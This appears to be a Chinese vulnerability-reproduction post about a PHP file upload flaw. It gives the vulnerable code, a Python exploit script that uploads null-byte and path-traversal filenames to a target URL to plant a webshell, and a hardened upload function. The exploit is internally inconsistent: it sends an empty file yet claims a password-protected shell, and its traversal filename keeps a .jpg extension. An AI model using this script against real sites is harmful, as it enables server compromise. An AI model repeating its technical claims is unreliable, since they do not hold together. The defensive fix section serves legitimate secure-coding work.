本文為漏洞系列獨立復現篇,詳細還原**直接使用 `$_FILES['name']` 保存**導致的經典 Getshell 鏈:雙重擴展名 + Null Byte 截斷 (PHP < 5.3.4) / 路徑遍歷 (通用) → 寫入 Web 目錄可執行腳本。附完整利用腳本、修復代碼對比。
<?php
if (isset($_FILES['img'])) {
$file = save_file($_FILES['img']);
if ($file === false) exit('上傳失敗!');
echo "上傳成功!$file";
}
function check_file($img) {
if ($img['error'] > 0) return false;
$filename = $img['name'];
$len = strrpos($filename, '.');
if ($len === false) return false;
$ext = strtolower(substr($filename, $len + 1));
return in_array($ext, ['jpg', 'jpeg', 'png']);
}
function save_file($img) {
if (!check_file($img)) return false;
$filename = $img['name'];
$newfile = "upload/" . $filename;
if (!move_uploaded_file($img['tmp_name'], $newfile)) return false;
return $newfile;
}
?>
import requests
url = 'https://target.com/vuln.php'
# 構造雙重擴展名 + Null Byte (PHP < 5.3.4)
files = {
'img': ('shell.php%00.jpg', b'', 'image/jpeg')
}
# 或路徑遍歷 (通用)
# files = {'img': ('../../../var/www/html/shell.php.jpg', b'', 'image/jpeg')}
r = requests.post(url, files=files)
print(r.text)
# 若輸出 "上傳成功!upload/shell.php" → Getshell 成功
# 連接: https://target.com/upload/shell.php 密碼: 1
check_file 取 `$img['name']` → `shell.php%00.jpg`save_file 再次取 `$img['name']` 拼接路徑 → `upload/shell.php%00.jpg`| 漏洞版 | 安全版 |
|---|---|
$filename = $img['name']; // 直接用 | $orig = basename($img['name']); // 去路徑 |
$newfile = "upload/" . $filename; | $dest = $uploadDir . $newName; // 基準目錄拼接 |
| 無內容檢測 | finfo_file(finfo_open(FILEINFO_MIME_TYPE), $tmp) // MIME 驗證 |
| 上傳目錄可執行 | Nginx: location /upload { deny all; } |
<?php
function secure_save(array $file): array {
$uploadDir = __DIR__ . '/upload/';
if (!is_dir($uploadDir)) mkdir($uploadDir, 0750, true);
// 基礎校驗
if ($file['error'] !== UPLOAD_ERR_OK) return ['ok'=>false, 'msg'=>'上傳錯誤'];
if ($file['size'] > 2*1024*1024) return ['ok'=>false, 'msg'=>'文件過大'];
// 後綴白名單
$orig = basename($file['name']);
$ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION) ?? '');
if (!in_array($ext, ['jpg','png','gif','webp'])) return ['ok'=>false, 'msg'=>'禁止的後綴'];
// MIME 驗證
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (!in_array($mime, ['image/jpeg','image/png','image/gif','image/webp'])) {
return ['ok'=>false, 'msg'=>'內容類型非法'];
}
// 隨機文件名
$newName = bin2hex(random_bytes(16)) . '.' . $ext;
$dest = $uploadDir . $newName;
// 移動並設置權限
if (!move_uploaded_file($file['tmp_name'], $dest)) return ['ok'=>false, 'msg'=>'保存失敗'];
chmod($dest, 0640);
return ['ok'=>true, 'url'=>'/upload/'.$newName, 'path'=>$dest];
}
?>
# 再次運行 exp.py
# 預期輸出: {"ok":false,"msg":"禁止的後綴"} 或 {"ok":false,"msg":"內容類型非法"}
# 無法寫入 shell.php